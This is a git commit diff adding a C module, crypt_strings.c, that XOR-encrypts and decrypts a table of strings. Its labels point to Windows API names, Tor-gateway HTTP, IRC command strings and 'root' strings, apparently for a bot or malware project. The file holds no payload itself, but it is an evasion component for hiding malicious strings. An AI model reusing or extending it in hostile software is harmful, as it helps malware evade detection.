diff options
author | Toni Uhlig <matzeton@googlemail.com> | 2020-05-24 16:48:22 +0200 |
---|---|---|
committer | Toni Uhlig <matzeton@googlemail.com> | 2020-05-25 21:57:14 +0200 |
commit | 31c69b6ca1b91e7fd9fd8e14082fd2584c5f538c (patch) | |
tree | 16e789c7d68608831b498f41f54d9482b82a711a /source/crypt_strings.c |
first public release
Signed-off-by: Toni Uhlig <matzeton@googlemail.com>
Diffstat (limited to 'source/crypt_strings.c')
-rw-r--r-- | source/crypt_strings.c | 189 |
1 files changed, 189 insertions, 0 deletions
diff --git a/source/crypt_strings.c b/source/crypt_strings.c new file mode 100644 index 0000000..1e87c38 --- /dev/null +++ b/source/crypt_strings.c @@ -0,0 +1,189 @@ +#include "compat.h" + +#include <stdio.h> +#include <stdlib.h> + +#include "crypt.h" +#include "crypt_strings.h" + + +static unsigned int xorkey = XOR_KEY; +static struct string strs[] = { + NULLENT(XOR_STARTFUNCS), + /* kernel32.dll */ + XOR_KEY_FUNCS_STRINGS, + XOR_KEY_FUNCS_INFO_STRINGS, + XOR_KEY_FUNCS_KERNEL_STRINGS, +#if defined(_PRE_RELEASE) || defined(_RUN_TESTS) + XOR_KEY_FUNCS_DEBUG_STRINGS, +#endif + /* -------------------- */ + NULLENT(XOR_ENDFUNCS), + /* non-kernel32.dll */ + XOR_KEY_FUNCS_OTHER_STRINGS, + /* ------------------ */ + NULLENT(XOR_ENDFUNCS_OTHER), + XOR_KEY_HTTP_STRINGS, +#ifdef _HTTP_LOCALHOST + XOR_KEY_HTTP_LOCALHOST_STRINGS, +#else + XOR_KEY_HTTP_WEB2TOR_STRINGS, +#endif +#ifdef _ENABLE_IRC + NULLENT(XOR_SOCK_FUNCS_START), + XOR_KEY_SOCK_FUNCS_STRINGS, /* Ws32.dll functions */ + NULLENT(XOR_SOCK_FUNCS__END), + XOR_KEY_SOCK_STRS_STRINGS, /* cmds, irc strings */ +#endif + XOR_KEY_ROOT_STRINGS, +#if defined(_PRE_RELEASE) || defined(_RUN_TESTS) +#ifdef _USE_PIPES + XOR_KEY_DEBUG_STRINGS, +#endif +#endif +}; + + +static inline char* crypt_string(char* cryptBuf, const uint8_t len) +{ + xor32_byte_crypt((unsigned char*)cryptBuf, len, xorkey); + return cryptBuf; +} + +uint8_t crypt_len(enum stridx i) +{ + return strs[i].len; +} + +char* decrypt_string(enum stridx i, char* plainStrPtr) +{ + if (i > STR_MAX) { + plainStrPtr[0] = 0; + return plainStrPtr; + } + memcpy(plainStrPtr, strs[i].str, strs[i].len); + char* buf = crypt_string(plainStrPtr, strs[i].len); + buf[strs[i].len + 1] = 0; + return buf; +} + +int get_string_in_strings(char* strings, char delim, char** pDest, char** pEnd) +{ + if (!pDest || !pEnd) + return -1; + + if (*pDest == NULL) { + *pDest = strings; + } else if (*pEnd) { + *(*pEnd) = delim; + *pDest = ++(*pEnd); + } else return 1; + + { + *pEnd = COMPAT(strchr)(*pDest, delim); + if (*pEnd) { + *(*pEnd) = 0; + } + } + return 0; +} + +inline int get_string_in_strings_d(char* strings, char** pDest, char** pEnd) +{ + return get_string_in_strings(strings, '#', pDest, pEnd); +} + +int get_string_in_strings_i(char* strings, char delim, int idx, char** pDest, char** pEnd) +{ + int i = -1; + while (i++ != idx && get_string_in_strings(strings, delim, pDest, pEnd) == 0) { + } + return (i-1 == idx ? 0 : 1); +} + +inline int get_string_in_strings_di(char* strings, int idx, char** pDest, char** pEnd) +{ + return get_string_in_strings_i(strings, '#', idx, pDest, pEnd); +} + +inline void string_restore_delim(char* pEnd) +{ + if (pEnd) + *pEnd = '#'; +} + + +#ifdef _STRINGS_BIN +#include "helper.h" +void addTrimSpaces(char* outbuf, long insiz, long trimsiz) +{ + trimsiz -= insiz; + if (trimsiz > 0) { + memset(outbuf, ' ', trimsiz); + outbuf[trimsiz] = 0; + } else outbuf[0] = 0; +} + +int main(void) +{ + const long trimsiz1 = 70; + const long trimsiz2 = 25; + char buf1[trimsiz1+1]; + char buf2[trimsiz2+1]; + + for (size_t i = 0; i < STR_MAX; ++i) { + if (strs[i].len == 0 || strs[i].str == NULL) { + memset(&buf2[0], '-', trimsiz2); + buf2[trimsiz2] = 0; + printf("%s %s -> %lu -> NULL %s\n", buf2, strs[i].name, i, buf2); + continue; + } + + DBUF(i, tmp); + + char* chex = bintostr(strs[i].str, strs[i].len, 1, NULL); + long csiz = strlen(chex)-1; + chex[csiz] = 0; + addTrimSpaces(buf1, csiz, trimsiz1); + + long nsiz = strlen(strs[i].name); + if (csiz < trimsiz1) { + addTrimSpaces(buf2, nsiz, trimsiz2); + } else buf2[0] = 0; + + printf("C(%03u): %s%s -> %s%s -> P(%03u): %s\n", (uint8_t)strs[i].len, chex, buf1, strs[i].name, buf2, (uint8_t)strlen(tmp), tmp); + free(chex); + + char* cur = NULL; + char* end = NULL; + int ret = get_string_in_strings_d(tmp, &cur, &end); + ret = get_string_in_strings_d(tmp, &cur, &end); + if (ret == 0) { + string_restore_delim(end); + cur = NULL; + end = NULL; + + int max = 0; + while (get_string_in_strings_d(tmp, &cur, &end) == 0) { + addTrimSpaces(buf2, 0, trimsiz2); + printf("%s SUBSTRING -> %s\n", buf2, cur); + max++; + } + + printf("\n"); + + for (int i = 0; i < max; ++i) { + cur = NULL; + end = NULL; + if (get_string_in_strings_di(tmp, i, &cur, &end) == 0) { + addTrimSpaces(buf2, 4, trimsiz2); + printf("%s SUBSTRING(%02d) -> %s\n", buf2, i, cur); + string_restore_delim(end); + } + } + } + } + + return 0; +} +#endif |